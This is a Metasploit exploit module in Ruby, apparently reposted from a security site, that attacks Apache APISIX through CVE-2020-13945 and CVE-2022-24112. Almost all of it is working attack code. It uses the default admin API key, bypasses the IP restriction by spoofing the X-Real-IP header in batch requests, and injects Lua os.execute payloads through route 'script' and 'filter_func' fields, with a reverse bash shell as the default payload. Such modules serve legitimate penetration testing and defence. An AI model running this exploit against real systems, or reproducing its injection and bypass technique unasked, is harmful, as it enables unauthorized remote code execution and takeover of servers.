Authored by Heyder Andrade, YuanSheng Wang | Site metasploit.com

Apache APISIX has a default, built-in API token that can be used to obtain full access of the admin API. Access to this API allows for remote LUA code execution through the script parameter added in the 2.x version. This module also leverages another vulnerability to bypass th e IP restriction plugin.

advisories | CVE-2020-13945, CVE-2022-24112

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'APISIX Admin API default access token RCE',
'Description' => %q{
Apache APISIX has a default, built-in API token edd1c9f034335f136f87ad84b625c8f1 that can be used to access
all of the admin API, which leads to remote LUA code execution through the script parameter added in the 2.x
version. This module also leverages another vulnerability to bypass the IP restriction plugin.
},
'Author' => [
'Heyder Andrade <eu[at]heyderandrade.org>', # module development and debugging
'YuanSheng Wang <membphis[at]gmail.com>' # discovered
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2020-13945'],
['CVE', '2022-24112'],
['URL', 'https://github.com/apache/apisix/pull/2244'],
['URL', 'https://seclists.org/oss-sec/2020/q4/187'],
['URL', 'https://www.openwall.com/lists/oss-security/2022/02/11/3']
],
'DisclosureDate' => '2020-12-07',
'Arch' => ARCH_CMD,
'Platform' => %w[unix],
'Targets' => [
[
'Automatic', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }
]
],
'Privileged' => false,
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to the APISIX DocumentRoot', '/apisix']),
OptString.new('API_KEY', [true, 'Admin API KEY (Default: edd1c9f034335f136f87ad84b625c8f1)', 'edd1c9f034335f136f87ad84b625c8f1']),
OptString.new('ALLOWED_IP', [true, 'IP in the allowed list', '127.0.0.1'])
])
end

def check
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
# batch request is the preferred method because it bypass the ip-restriction plugin
res = nil
if batch_request_enabled?

pipeline = [
{
method: 'GET',
path: "#{target_uri.path}/admin/routes"
}
]
res = batch_request(batch_body(pipeline))
vprint_good('Can perform authenticated requests through batch requests') if res && res.code == 200

pipeline = [
{
method: 'GET',
path: "#{target_uri.path}/admin/routes/index"
}
]
res = batch_request(batch_body(pipeline))

else
vprint_error('The batch-requests plugin is not enabled')

vprint_good('There is direct access to the routes using the provided token') if direct_access?

res = apisix_request({
'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),
'method' => 'GET'
})

end
unless res && res.headers.key?('Server')
return Exploit::CheckCode::Unknown('Unable to determine which web server is running')
end

res.headers['Server'].match(%r{(.*)/([d|.]+)$})

server = Regexp.last_match(1) || nil
version = Rex::Version.new(Regexp.last_match(2)) || nil

if server && server.match(/APISIX/)
vprint_status("Found an #{server} #{version} http server header")
return Exploit::CheckCode::Appears if version > Rex::Version.new('2')
end
return Exploit::CheckCode::Safe('A vulnerable version if APISIX server is not running')
end

def exploit
# batch request is the preferred method because it bypass the ip-restriction plugin
if batch_request_enabled?
@payload_uri = "/#{Rex::Text.rand_text_alpha_lower(3)}/#{Rex::Text.rand_text_alpha_lower(6)}"
filter_func_exec
# trigger the payload
apisix_request({
'uri' => normalize_uri(@payload_uri),
'method' => 'GET'
})
else
add_route
end
handler
end

def cleanup
return unless @payload_uri

data = {
'uri' => @payload_uri
}
pipeline = [
{
'path' => normalize_uri(target_uri.path, '/admin/routes/index'),
'method' => 'DELETE',
'body' => JSON.dump(data)
}
]
vprint_status("Deleting route #{@payload_uri}")
# remove the route
res = batch_request(batch_body(pipeline))
vprint_error('Unable to delete the route') unless res.code == 200
end

def apisix_request(params = {})
params.merge!({
'ctype' => 'application/json',
'headers' => {
'X-API-KEY' => datastore['API_KEY'],
'Accept' => '*/*',
'Accept-Encoding' => 'gzip, deflate'
}
})

send_request_cgi(params)
end

# Using batch request to bypass ip-restriction policies (CVE-2022-24112)
def batch_request(data = nil)
params = {
'uri' => normalize_uri(target_uri.path, '/batch-requests'),
'method' => 'POST'
}
params.merge!({ 'data' => data }) if data

apisix_request(params)
end

def batch_body(pipeline = [])
headers = {
'X-Real-IP': datastore['ALLOWED_IP'].to_s,
'X-API-KEY' => datastore['API_KEY'].to_s,
'Content-Type' => 'application/json'
}

{
'headers' => headers,
'timeout' => 1500,
'pipeline' => pipeline
}.to_json
end

def base_data
{
'uri' => Rex::Text.rand_text_alpha_lower(6),
'upstream' => {
'type' => 'roundrobin',
'nodes' => { Faker::Internet.domain_name.to_s => 1 }
}
}
end

def add_route
# This method use the script parameter to execute the payload
stub = "os.execute('PAYLOAD');".gsub('PAYLOAD', payload.raw.to_s.gsub(''') { '"' })
# binding.pry
data = base_data.merge({
'script' => stub
})
uri = normalize_uri(target_uri.path, '/admin/routes')
if batch_request_enabled?
pipeline = [
{
'method' => 'POST',
'path' => uri,
'body' => data
}
]
batch_request(batch_body(pipeline))
else
params = {
'method' => 'POST',
'uri' => uri,
'data' => JSON.dump(data)
}
apisix_request(params)
end
end

def filter_func_exec
# This method use the filter_func parameter to execute the payload
stub = "function(vars) os.execute('PAYLOAD'); return true end".gsub('PAYLOAD', payload.raw.to_s.gsub(''') { '"' })

data = base_data.merge({
'uri' => @payload_uri,
'name' => Rex::Text.rand_text_alpha_lower(6),
'filter_func' => stub
})
if batch_request_enabled?
pipeline = [
{
'path' => normalize_uri(target_uri.path, '/admin/routes/index'),
'method' => 'PUT',
'body' => JSON.dump(data)
}
]
# add the route
res = batch_request(batch_body(pipeline))
vprint_error('Unable to create route') unless res.code == 200
else
params = {
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, '/admin/routes/index'),
'data' => JSON.dump(data)
}
apisix_request(params)
end
end

def direct_access?
res = apisix_request({
'uri' => normalize_uri(target_uri.path, '/admin/routes'),
'method' => 'GET'
})

return false if [401, 403].include?(res.code) || res.body.match?(/'ip-restriction'/)

true
end

def batch_request_enabled?
res = apisix_request({
'uri' => normalize_uri(target_uri.path, '/batch-requests'),
'method' => 'POST'
})

return false if res.code == 404

true
end

end